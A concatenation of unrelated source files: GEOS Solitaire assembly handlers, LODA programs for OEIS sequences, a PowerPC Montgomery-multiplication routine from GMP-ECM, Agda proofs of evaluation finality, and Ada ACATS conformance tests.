SolitaireFixupDrawNumberList method SolitaireClass, MSG_SOLITAIRE_FIXUP_DRAW_LIST
mov cl, ds:[di].KI_drawNumber
clr ch
mov bx, handle DrawList
mov si, offset DrawList
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr di
call ObjMessage
ret
SolitaireFixupDrawNumberList endm
SolitaireUserRequestsUserModeChange method SolitaireClass, MSG_SOLITAIRE_USER_REQUESTS_USER_MODE_CHANGE
test ds:[di].GI_gameAttrs, mask GA_JUST_WON_A_GAME
jz checkNewGame
mov ax, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL
call ObjCallInstanceNoLock
jmp done
checkNewGame:
cmp ds:[di].GI_lastDonor.handle, USER_HASNT_STARTED_PLAYING_YET
jne gameInProgress
mov ax, MSG_GAME_SET_USER_MODE
call ObjCallInstanceNoLock
jmp done
gameInProgress:
call SolitairePauseTimer
push si
mov bx, handle ResetGameConfirmBox
mov si, offset ResetGameConfirmBox
call UserDoDialog
pop si
call SolitaireUnpauseTimer
cmp ax, IC_YES
mov ax, MSG_SOLITAIRE_FIXUP_USER_MODE_LIST
jne sendMessage
mov ax, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL
sendMessage:
call ObjCallInstanceNoLock
done:
ret
SolitaireUserRequestsUserModeChange endm
SolitaireFixupUserModeList method SolitaireClass, MSG_SOLITAIRE_FIXUP_USER_MODE_LIST
mov cl, ds:[di].GI_userMode
clr ch
mov bx, handle UserModeList
mov si, offset UserModeList
clr dx
mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION
clr di
call ObjMessage
ret
SolitaireFixupUserModeList endm
SolitaireSetScoringTypeAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_SCORING_TYPE_AND_REDEAL
mov ax, MSG_SOLITAIRE_SET_SCORING_TYPE
call ObjCallInstanceNoLock
;
; If it's vegas, then the new game will cost 52, so clear the
; score here
;
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
cmp ds:[di].KI_scoringType, ST_VEGAS
jne redealNow
clr ds:[di].GI_score
redealNow:
mov ax, MSG_SOLITAIRE_NEW_GAME
call ObjCallInstanceNoLock
ret
SolitaireSetScoringTypeAndRedeal endm
SolitaireSetDrawNumberAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_DRAW_NUMBER_AND_REDEAL
mov ax, MSG_SOLITAIRE_SET_DRAW_NUMBER
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_NEW_GAME
call ObjCallInstanceNoLock
ret
SolitaireSetDrawNumberAndRedeal endm
SolitaireSetUserModeAndRedeal method SolitaireClass, MSG_SOLITAIRE_SET_USER_MODE_AND_REDEAL
mov ax, MSG_GAME_SET_USER_MODE
call ObjCallInstanceNoLock
mov ax, MSG_SOLITAIRE_NEW_GAME
call ObjCallInstanceNoLock
ret
SolitaireSetUserModeAndRedeal endm
SolitaireDroppingDragCards method SolitaireClass, MSG_GAME_DROPPING_DRAG_CARDS
mov di, offset SolitaireClass
call ObjCallSuperNoLock
jnc checkWait
done:
ret
checkWait:
mov di, ds:[si]
add di, ds:[di].Solitaire_offset
cmp ds:[di].KI_timeStatus, TIME_WAITING_FOR_HOMEBOY_TO_STOP_DRAGGING
clc
jne done
mov ax, MSG_SOLITAIRE_CHECK_FOR_WINNER
call ObjCallInstanceNoLock
clc
jmp done
SolitaireDroppingDragCards endm
SolitaireCheckHilites method SolitaireClass, MSG_GAME_CHECK_HILITES
push cx
mov ax, MSG_GAME_GET_USER_MODE
call ObjCallInstanceNoLock
cmp cl, INTERMEDIATE_MODE
pop cx
jne done
mov di, segment SolitaireClass
mov es, di
mov di, offset SolitaireClass
mov ax, MSG_GAME_CHECK_HILITES
call ObjCallSuperNoLock
done:
ret
SolitaireCheckHilites endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireGameTransfer
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Trap the various transfer events to generate sounds
CALLED BY:
PASS: *ds:si = SolitaireClass object
ds:di = SolitaireClass instance data
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dhunter 2/5/2000 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireGameTransfer method SolitaireClass,
MSG_GAME_TRANSFERRING_CARDS, MSG_GAME_TRANSFER_FAILED
; We can check the message number to determine whether the transfer
; succeeded or failed, and play a different sound for each.
cmp ax, MSG_GAME_TRANSFERRING_CARDS
jne failed
PLAY_SOUND SS_CARD_MOVE_FLIP ; "correctly placing a card on another card" sound
jmp done
failed:
PLAY_SOUND SS_DROP_BAD ; "incorrectly placing a card on another card" sound
done:
ret
SolitaireGameTransfer endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitaireDeckFlipCard
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Trap the TEx decks' flip card event to generate a sound
CALLED BY:
PASS: *ds:si = SolitaireDeckClass object
ds:di = SolitaireDeckClass instance data
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dhunter 2/5/2000 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitaireDeckFlipCard method SolitaireDeckClass, MSG_CARD_FLIP_CARD
; Play a sound.
PLAY_SOUND SS_CARD_MOVE_FLIP ; "flip over a deck card" sound
; Then let the super do its work.
mov di, offset SolitaireDeckClass
call ObjCallSuperNoLock
ret
SolitaireDeckFlipCard endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SolitairePlaySound
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Plays a sound if the game sound is not muted.
CALLED BY:
PASS: cx = SolitaireSound
RETURN: nothing
DESTROYED: nothing
SIDE EFFECTS:
PSEUDO CODE/STRATEGY:
REVISION HISTORY:
Name Date Description
---- ---- -----------
dhunter 2/5/2000 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
SolitairePlaySound method SolitaireClass, MSG_SOLITAIRE_PLAY_SOUND
uses ax, bx, cx, dx, di, es
soundToken local GeodeToken
.enter
tst ds:[di].KI_muteSound
jnz done
segmov es, udata, ax
cmp cx, SS_DEALING
jne cardMoveFlip
mov cx, es:[dealingSoundHandle]
jmp playFM
cardMoveFlip:
cmp cx, SS_CARD_MOVE_FLIP
jne dropBad
mov cx, es:[cardMoveFlipSoundHandle]
jmp playFM
dropBad:
cmp cx, SS_DROP_BAD
jne outOfTime
mov cx, es:[dropBadSoundHandle]
jmp playFM
outOfTime:
cmp cx, SS_OUT_OF_TIME
jne gameWon
mov bx, SWIS_OUT_OF_TIME
jmp playWav
gameWon:
cmp cx, SS_GAME_WON
jne default
mov bx, SWIS_GAME_WON
jmp playWav
playFM:
;
; Play an FM sound.
;
mov ax, SST_CUSTOM_SOUND
call UserStandardSound
jmp done
playWav:
;
; Play a WAV sound.
;
; Retrieve our GeodeToken.
segmov es, ss, ax
push bx ; save sound number
lea di, soundToken
mov bx, handle 0 ; bx <- app geode token
mov ax, GGIT_TOKEN_ID
call GeodeGetInfo
; Play the sound.
pop bx ; restore sound number
mov cx, es
mov dx, di
call WavPlayInitSound
jmp done
default:
mov ax, SST_WARNING
call UserStandardSound
done:
.leave
ret
SolitairePlaySound endm
CommonCode ends ;end of CommonCode resource
|
oeis/104/A104097.asm | neoneye/loda-programs | 11 | 20976 | <reponame>neoneye/loda-programs<filename>oeis/104/A104097.asm
; A104097: Denominators of coefficients in expansion of x^-2*(1-exp(-2*x))^2.
; Submitted by <NAME>
; 1,1,3,1,45,5,315,189,2025,4725,467775,1485,42567525,212837625,91216125,42567525,97692469875,516891375,9280784638125,236238154425,43752270436875,714620417135625,147926426347074375,53123043290625,48076088562799171875,432684797065192546875,1298054391195577640625,605758715891269565625,3952575621190533915703125,5703572324950265390625,122529844256906551386796875,15856803374423200767703125,426951817565991151105546875,801957830661453378826585546875,698479400898685200913477734375
seq $0,2679 ; Denominator of 2*Stirling_2(n,2)/n!.
lpb $0
dif $0,2
lpe
|
programs/oeis/193/A193391.asm | jmorken/loda | 1 | 247016 | <reponame>jmorken/loda
; A193391: Wiener index of a benzenoid consisting of a spiral chain of n hexagons (s=1; see the Gutman et al. reference).
; 27,109,271,529,899,1397,2039,2841,3819,4989,6367,7969,9811,11909,14279,16937,19899,23181,26799,30769,35107,39829,44951,50489,56459,62877,69759,77121,84979,93349,102247,111689,121691,132269,143439,155217,167619,180661,194359,208729,223787,239549,256031,273249,291219,309957,329479,349801,370939,392909,415727,439409,463971,489429,515799,543097,571339,600541,630719,661889,694067,727269,761511,796809,833179,870637,909199,948881,989699,1031669,1074807,1119129,1164651,1211389,1259359,1308577,1359059,1410821,1463879,1518249,1573947,1630989,1689391,1749169,1810339,1872917,1936919,2002361,2069259,2137629,2207487,2278849,2351731,2426149,2502119,2579657,2658779,2739501,2821839,2905809,2991427,3078709,3167671,3258329,3350699,3444797,3540639,3638241,3737619,3838789,3941767,4046569,4153211,4261709,4372079,4484337,4598499,4714581,4832599,4952569,5074507,5198429,5324351,5452289,5582259,5714277,5848359,5984521,6122779,6263149,6405647,6550289,6697091,6846069,6997239,7150617,7306219,7464061,7624159,7786529,7951187,8118149,8287431,8459049,8633019,8809357,8988079,9169201,9352739,9538709,9727127,9918009,10111371,10307229,10505599,10706497,10909939,11115941,11324519,11535689,11749467,11965869,12184911,12406609,12630979,12858037,13087799,13320281,13555499,13793469,14034207,14277729,14524051,14773189,15025159,15279977,15537659,15798221,16061679,16328049,16597347,16869589,17144791,17422969,17704139,17988317,18275519,18565761,18859059,19155429,19454887,19757449,20063131,20371949,20683919,20999057,21317379,21638901,21963639,22291609,22622827,22957309,23295071,23636129,23980499,24328197,24679239,25033641,25391419,25752589,26117167,26485169,26856611,27231509,27609879,27991737,28377099,28765981,29158399,29554369,29953907,30357029,30763751,31174089,31588059,32005677,32426959,32851921,33280579,33712949,34149047,34588889,35032491,35479869,35931039,36386017,36844819,37307461,37773959,38244329,38718587,39196749,39678831,40164849,40654819,41148757,41646679,42148601,42654539,43164509
add $0,1
mul $0,2
mov $2,5
mov $3,4
lpb $0
sub $0,1
add $1,3
mov $5,4
add $5,$3
add $5,$1
add $1,$0
add $1,$2
add $1,5
mov $4,$5
sub $4,$2
mov $3,$4
lpe
add $4,3
sub $1,$4
trn $1,$3
add $1,$4
add $1,2
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c9/c95086a.ada | best08618/asylo | 7 | 22576 | <reponame>best08618/asylo
-- C95086A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT CONSTRAINT_ERROR IS NOT RAISED AT THE TIME OF CALL WHEN
-- THE VALUE OF AN ACTUAL OUT SCALAR PARAMETER DOES NOT SATISFY THE
-- RANGE CONSTRAINTS OF THE FORMAL PARAMETER.
-- GLH 7/16/85
-- JRK 8/23/85
WITH REPORT; USE REPORT;
PROCEDURE C95086A IS
SUBTYPE SUBINT1 IS INTEGER RANGE -10..10;
SUBTYPE SUBINT2 IS INTEGER RANGE -20..20;
I10 : SUBINT1 := 10;
I20 : SUBINT2 := 20;
TASK T1 IS
ENTRY E1 (I : OUT SUBINT1);
END T1;
TASK BODY T1 IS
BEGIN
LOOP
BEGIN
SELECT
ACCEPT E1 (I : OUT SUBINT1) DO
I := SUBINT1'FIRST;
END E1;
OR
TERMINATE;
END SELECT;
EXCEPTION
WHEN OTHERS =>
FAILED ("EXCEPTION RAISED IN ACCEPT E1");
END;
END LOOP;
END T1;
BEGIN
TEST ("C95086A", "CHECK THAT CONSTRAINT_ERROR IS NOT RAISED " &
"AT THE TIME OF CALL WHEN THE VALUE OF AN " &
"ACTUAL OUT SCALAR PARAMETER DOES NOT " &
"SATISFY THE RANGE CONSTRAINTS OF THE FORMAL " &
"PARAMETER");
BEGIN
T1.E1 (SUBINT1(I20));
IF I20 /= IDENT_INT (-10) THEN
FAILED ("OUT PARAM DID NOT GET CORRECT VALUE - 1");
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ("EXCEPTION RAISED ON CALL TO E1 - 1");
END;
BEGIN
I20 := IDENT_INT (20);
T1.E1 (I20);
IF I20 /= IDENT_INT (-10) THEN
FAILED ("OUT PARAM DID NOT GET CORRECT VALUE - 2");
END IF;
EXCEPTION
WHEN OTHERS =>
FAILED ("EXCEPTION RAISED ON CALL TO E1 - 2");
END;
RESULT;
END C95086A;
|
oeis/103/A103638.asm | neoneye/loda-programs | 11 | 87961 | <filename>oeis/103/A103638.asm
; A103638: Sum[d|n, d==2 mod 3, d^2].
; 0,4,0,4,25,4,0,68,0,29,121,4,0,200,25,68,289,4,0,429,0,125,529,68,25,680,0,200,841,29,0,1092,121,293,1250,4,0,1448,0,493,1681,200,0,2061,25,533,2209,68,0,2529,289,680,2809,4,146,3400,0,845,3481,429,0,3848
add $0,1
mov $2,$0
mul $0,6
sub $0,2
lpb $0
sub $0,2
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
mul $3,$0
sub $0,1
add $1,$3
lpe
mov $0,$1
|
oeis/010/A010524.asm | neoneye/loda-programs | 11 | 160955 | ; A010524: Decimal expansion of square root of 72.
; 8,4,8,5,2,8,1,3,7,4,2,3,8,5,7,0,2,9,2,8,1,0,1,3,2,3,4,5,2,5,8,1,8,8,4,7,1,4,1,8,0,3,1,2,5,2,2,6,1,6,8,8,4,3,9,0,6,0,0,7,8,4,2,7,9,4,4,3,9,4,8,7,0,7,7,2,6,4,2,2,3,3,1,0,2,3,2,5,2,0,5,9,6,5,8,4,9,4,3,6
mov $1,1
mov $2,1
mov $3,$0
add $3,8
mov $4,$0
add $4,3
mul $4,2
mov $7,10
pow $7,$4
mov $9,10
lpb $3
mov $4,$2
pow $4,2
mul $4,72
mov $5,$1
pow $5,2
add $4,$5
mov $6,$1
mov $1,$4
mul $6,$2
mul $6,2
mov $2,$6
mov $8,$4
div $8,$7
max $8,2
div $1,$8
div $2,$8
sub $3,1
lpe
mov $3,$9
pow $3,$0
div $2,$3
div $1,$2
mod $1,$9
mov $0,$1
|
picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm | beninato8/ctfs | 0 | 5914 | <filename>picoctf/EasyRsa/gmp-ecm/powerpc64/mulredc1.asm
dnl ******************************************************************************
dnl Copyright 2009 <NAME> and <NAME>.
dnl
dnl This file is part of the ECM Library.
dnl
dnl The ECM Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published by
dnl the Free Software Foundation; either version 3 of the License, or (at your
dnl option) any later version.
dnl
dnl The ECM Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the ECM Library; see the file COPYING.LIB. If not, write to
dnl the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
dnl MA 02110-1301, USA.
dnl ******************************************************************************
define(C, `
dnl')
C mp_limb_t mulredc1(mp_limb_t * z, const mp_limb_t x, const mp_limb_t y,
C const mp_limb_t m, mp_limb_t inv_m);
C
C arguments:
C r3 : ptr to result z
C r4 : input x
C r5 : input y
C r6 : modulus m'
C r7 = -1/m mod 2^64
C
C final carry returned in r3
include(`config.m4')
GLOBL GSYM_PREFIX`'mulredc1
GLOBL .GSYM_PREFIX`'mulredc1
.section ".opd", "aw"
.align 3
GSYM_PREFIX`'mulredc1:
.quad .GSYM_PREFIX`'mulredc1, .TOC.@tocbase, 0
.size GSYM_PREFIX`'mulredc1, 24
TEXT
.align 5 C powerPC 32 byte alignment
.GSYM_PREFIX`'mulredc1:
mulld r8, r4, r5 C x*y low half T0
mulhdu r9, r4, r5 C x*y high half T1
mulld r0, r7, r8 C u = t0 * invm
mulld r10, r0, r6 C u*m low
mulhdu r11, r0, r6 C u*m high
addc r8, r8, r10 C x*y + u*m low (= zero)
adde r9, r9, r11 C result
std r9, 0(r3) C store in z
addze r3, r8 C return carry
blr
.size .GSYM_PREFIX`'mulredc1, .-.GSYM_PREFIX`'mulredc1
|
aplib_verifier.asm | snaphat/final_fantasy_vi_widescreen | 3 | 86533 | ; apLib decruncher for SNES
; /Mic, 2010
; http://jiggawatt.org/badc0de/decrunch/aplib_decrunch_65816.asm
;
; Modified version of Mic's aplib decompressor modified to support 64kB bank
; boundary crossing used simply to check that data in the destination matches this
; decoder's results. If a byte doesn't match during decompression, this code
; will issue a STP instruction on the CPU (fail early).
;
!APLIB_ZP_BASE = $F0
; DirectPage variables
!APLIB_LWM = !APLIB_ZP_BASE
!APLIB_SRC_PTR = !APLIB_LWM+2
!APLIB_BITS = !APLIB_SRC_PTR+3
!APLIB_BITCOUNT = !APLIB_BITS+1
!APLIB_OFFS = !APLIB_BITCOUNT+1
!APLIB_GAMMA = !APLIB_OFFS+2
!APLIB_OFFS2 = !APLIB_GAMMA+2
macro APL_VERIFY()
; In:
; A = source bank
; Y = source offset
; X = dest offset
; DBR = dest bank
aplib_decrunch:
ldx $fd ; load dest offset.
ldy $fa ; load src offset.
sep #$20
lda #$7f ; load dest bank.
pha
plb
lda $fc ; load src bank in A.
php
rep #$10
sep #$20
sta !APLIB_SRC_PTR+2
stz !APLIB_SRC_PTR+1
stz !APLIB_SRC_PTR
stz !APLIB_OFFS+1
stz !APLIB_LWM+1
lda #$01
sta !APLIB_BITCOUNT
copy_byte:
lda [!APLIB_SRC_PTR],y
;sta.w $0000,x
cmp $0000,x
beq +
stp
+:
inx
iny
cpy #$0000
bne next_sequence_init
inc !APLIB_SRC_PTR+2
next_sequence_init:
stz !APLIB_LWM
next_sequence:
jsr get_bit
bcc copy_byte ; if bit sequence is %0..., then copy next byte
jsr get_bit
bcc code_pair ; if bit sequence is %10..., then is a code pair
jsr get_bit
stz !APLIB_OFFS
stz !APLIB_OFFS+1
bcs +
jmp short_match ; if bit sequence is %110..., then is a short match
+:
; The sequence is %111..., the next 4 bits are the offset (0-15)
jsr get_bit
rol !APLIB_OFFS
jsr get_bit
rol !APLIB_OFFS
jsr get_bit
rol !APLIB_OFFS
jsr get_bit
rol !APLIB_OFFS
lda !APLIB_OFFS
beq write_byte ; if offset == 0, then write 0x00
; If offset != 0, then write the byte at destination - offset
phx
rep #$20
txa
sec
sbc !APLIB_OFFS ; A = dest - offs
tax
sep #$20
lda.w $0000,x
plx
write_byte:
cmp $0000,x
;sta.w $0000,x
beq +
stp
+: inx
jmp next_sequence_init
; Code pair %10...
code_pair:
jsr decode_gamma
rep #$20
dec !APLIB_GAMMA
dec !APLIB_GAMMA
bne normal_code_pair
lda !APLIB_LWM
bne normal_code_pair
jsr decode_gamma
rep #$20
lda !APLIB_OFFS2
sta !APLIB_OFFS
jmp copy_code_pair
normal_code_pair:
lda !APLIB_GAMMA
clc
adc !APLIB_LWM
dec
sep #$20
sta !APLIB_OFFS+1
lda [!APLIB_SRC_PTR],y
iny
cpy #$0000
bne +
inc !APLIB_SRC_PTR+2
+:
sta !APLIB_OFFS
jsr decode_gamma
rep #$20
lda !APLIB_OFFS
cmp #$7D00
bcc compare_1280
inc !APLIB_GAMMA
compare_1280:
cmp #$500
bcc compare_128
inc !APLIB_GAMMA
jmp continue_short_match
compare_128:
cmp #$0080
bcs continue_short_match
inc !APLIB_GAMMA
inc !APLIB_GAMMA
jmp continue_short_match
; get_bit: Get bits from the crunched data and insert the most significant bit in the carry flag.
get_bit:
sep #$20
dec !APLIB_BITCOUNT
bne still_bits_left
lda #$08
sta !APLIB_BITCOUNT
lda [!APLIB_SRC_PTR],y
sta !APLIB_BITS
iny
cpy #$0000
bne +
inc !APLIB_SRC_PTR+2
+:
still_bits_left:
asl !APLIB_BITS
rts
; decode_gamma: Decode values from the crunched data using gamma code
decode_gamma:
rep #$20
lda #$0001
sta !APLIB_GAMMA
get_more_gamma:
jsr get_bit
rep #$20
lda !APLIB_GAMMA
adc !APLIB_GAMMA
sta !APLIB_GAMMA
jsr get_bit
bcs get_more_gamma
rts
; Short match %110...
short_match:
rep #$20
lda #$0001
sta !APLIB_GAMMA
sep #$20
lda [!APLIB_SRC_PTR],y ; Get offset (offset is 7 bits + 1 bit to mark if copy 2 or 3 bytes)
iny
cpy #$0000
bne +
inc !APLIB_SRC_PTR+2
+:
lsr a
beq end_decrunch
rol !APLIB_GAMMA
sta !APLIB_OFFS
stz !APLIB_OFFS+1
rep #$20
continue_short_match:
lda !APLIB_OFFS
sta !APLIB_OFFS2
copy_code_pair:
phy
txa
sec
sbc !APLIB_OFFS ; dest - offs
tay
loop_do_copy:
sep #$20
lda.w $0000,y
;sta.w $0000,x
cmp $0000,x
beq +
stp
+:
inx
iny
bne +
inc !APLIB_SRC_PTR+2
+:
rep #$20
dec !APLIB_GAMMA
bne loop_do_copy
ply
lda #$0001
sta !APLIB_LWM
sep #$20
jmp next_sequence
end_decrunch:
plp
rtl
endmacro
|
data/baseStats_original/noctowl.asm | adhi-thirumala/EvoYellow | 16 | 105426 | db DEX_NOCTOWL ; pokedex id
db 100 ; base hp
db 50 ; base attack
db 50 ; base defense
db 70 ; base speed
db 86 ; base special
db FLYING ; species type 1
db NORMAL ; species type 2
db 52 ; catch rate
db 162 ; base exp yield
INCBIN "pic/ymon/noctowl.pic",0,1 ; 77, sprite dimensions
dw NoctowlPicFront
dw NoctowlPicBack
; attacks known at lvl 0
db TACKLE
db GROWL
db PECK
db 0
db 0 ; growth rate
; learnset
tmlearn 2,4,6
tmlearn 9,10,15
tmlearn 20
tmlearn 31,32
tmlearn 33,34,39
tmlearn 43,44
tmlearn 50,52
db BANK(NoctowlPicFront) ; padding
|
finality.agda | hazelgrove/hazelnat-myth- | 1 | 16878 | open import Nat
open import Prelude
open import List
open import contexts
open import core
open import results-checks
open import preservation
module finality where
finality : ∀{Δ Σ' Γ E e r k τ} →
E env-final →
Δ , Σ' , Γ ⊢ E →
Δ , Σ' , Γ ⊢ e :: τ →
E ⊢ e ⇒ r ⊣ k →
r final
finality E-final ctxcons (TAFix _) EFix = FFix E-final
finality (EF E-fin) ctxcons (TAVar _) (EVar h) = E-fin h
finality E-final ctxcons (TAApp _ ta-f ta-arg) (EAppFix {Ef = Ef} {f} {x} {ef} {r2 = r2} CF∞ h2 eval-f eval-arg eval-ef)
rewrite h2 with preservation ctxcons ta-f eval-f
... | TAFix ctxcons-Ef (TAFix ta-ef) =
finality (EF new-Ef+-final) new-ctxcons ta-ef eval-ef
where
new-ctxcons =
EnvInd (EnvInd ctxcons-Ef (preservation ctxcons ta-f eval-f)) (preservation ctxcons ta-arg eval-arg)
new-Ef-final : ∀{x' rx'} → (x' , rx') ∈ (Ef ,, (f , [ Ef ]fix f ⦇·λ x => ef ·⦈)) → rx' final
new-Ef-final {x'} {rx'} h with ctx-split {Γ = Ef} h
new-Ef-final {x'} {rx'} h | Inl (_ , x'∈Ef) with finality E-final ctxcons ta-f eval-f
... | FFix (EF Ef-fin) = Ef-fin x'∈Ef
new-Ef-final {x'} {rx'} h | Inr (_ , rx'==r2) rewrite rx'==r2 = finality E-final ctxcons ta-f eval-f
new-Ef+-final : ∀{x' rx'} → (x' , rx') ∈ (Ef ,, (f , [ Ef ]fix f ⦇·λ x => ef ·⦈) ,, (x , r2)) → rx' final
new-Ef+-final {x'} {rx'} h with ctx-split {Γ = Ef ,, (f , [ Ef ]fix f ⦇·λ x => ef ·⦈)} h
new-Ef+-final {x'} {rx'} h | Inl (_ , x'∈Ef+) = new-Ef-final x'∈Ef+
new-Ef+-final {x'} {rx'} h | Inr (_ , rx'==r2) rewrite rx'==r2 = finality E-final ctxcons ta-arg eval-arg
finality E-final ctxcons (TAApp h ta-f ta-arg) (EAppUnfinished eval-f h2 eval-arg) =
FAp (finality E-final ctxcons ta-f eval-f) (finality E-final ctxcons ta-arg eval-arg) h2
finality E-final ctxcons TAUnit EUnit = FUnit
finality E-final ctxcons (TAPair _ ta1 ta2) (EPair eval1 eval2)
= FPair (finality E-final ctxcons ta1 eval1) (finality E-final ctxcons ta2 eval2)
finality E-final ctxcons (TAFst ta) (EFst eval)
with finality E-final ctxcons ta eval
... | FPair fin _ = fin
finality E-final ctxcons (TAFst ta) (EFstUnfinished eval ne)
= FFst (finality E-final ctxcons ta eval) ne
finality E-final ctxcons (TASnd ta) (ESnd eval)
with finality E-final ctxcons ta eval
... | FPair _ fin = fin
finality E-final ctxcons (TASnd ta) (ESndUnfinished eval ne)
= FSnd (finality E-final ctxcons ta eval) ne
finality E-final ctxcons (TACtor h h2 ta) (ECtor eval) = FCon (finality E-final ctxcons ta eval)
finality {Σ' = Σ'} (EF E-fin) ctxcons (TACase d∈Σ'1 ta h1 h2) (EMatch {E = E} {xc = xc} {r' = r'} CF∞ form eval eval-ec)
with h2 form
... | _ , _ , _ , c∈cctx1 , ta-ec
with preservation ctxcons ta eval
... | TACtor {cctx = cctx} d∈Σ' c∈cctx ta-r'
rewrite ctxunicity {Γ = π1 Σ'} d∈Σ'1 d∈Σ' | ctxunicity {Γ = cctx} c∈cctx1 c∈cctx =
finality (EF new-E-final) (EnvInd ctxcons ta-r') ta-ec eval-ec
where
new-E-final : ∀{x' rx'} → (x' , rx') ∈ (E ,, (xc , r')) → rx' final
new-E-final {x'} {rx'} x'∈E+ with ctx-split {Γ = E} x'∈E+
... | Inl (_ , x'∈E) = E-fin x'∈E
... | Inr (_ , rx'==r') rewrite rx'==r' with finality (EF E-fin) ctxcons ta eval
... | FCon r'-fin = r'-fin
finality E-final ctxcons (TACase h ta h2 h3) (EMatchUnfinished eval h4) = FCase (finality E-final ctxcons ta eval) h4 E-final
finality E-final ctxcons (TAHole _) EHole = FHole E-final
finality E-final ctxcons (TAAsrt _ _ _) (EAsrt _ _ _) = FUnit
|
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c6/c67002c.ada | best08618/asylo | 7 | 3448 | -- C67002C.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimited rights are defined in DFAR 252.227-7013(a)(19). By making
-- this public release, the Government intends to confer upon all
-- recipients unlimited rights equal to those held by the Government.
-- These rights include rights to use, duplicate, release or disclose the
-- released technical data and computer software in whole or in part, in
-- any manner and for any purpose whatsoever, and to have or permit others
-- to do so.
--
-- DISCLAIMER
--
-- ALL MATERIALS OR INFORMATION HEREIN RELEASED, MADE AVAILABLE OR
-- DISCLOSED ARE AS IS. THE GOVERNMENT MAKES NO EXPRESS OR IMPLIED
-- WARRANTY AS TO ANY MATTER WHATSOEVER, INCLUDING THE CONDITIONS OF THE
-- SOFTWARE, DOCUMENTATION OR OTHER INFORMATION RELEASED, MADE AVAILABLE
-- OR DISCLOSED, OR THE OWNERSHIP, MERCHANTABILITY, OR FITNESS FOR A
-- PARTICULAR PURPOSE OF SAID MATERIAL.
--*
-- CHECK THAT ALL OPERATOR SYMBOLS CAN BE USED IN (OVERLOADED)
-- FUNCTION SPECIFICATIONS WITH THE REQUIRED NUMBER OF PARAMETERS.
-- THIS TEST CHECKS FORMAL SUBPROGRAM PARAMETERS.
-- SUBTESTS ARE:
-- (A) THROUGH (P): "=", "AND", "OR", "XOR", "<", "<=",
-- ">", ">=", "&", "*", "/", "MOD", "REM", "**", "+", "-",
-- RESPECTIVELY. ALL OF THESE HAVE TWO PARAMETERS.
-- (Q), (R), (S), AND (T): "+", "-", "NOT", "ABS", RESPECTIVELY,
-- WITH ONE PARAMETER.
-- CPP 6/26/84
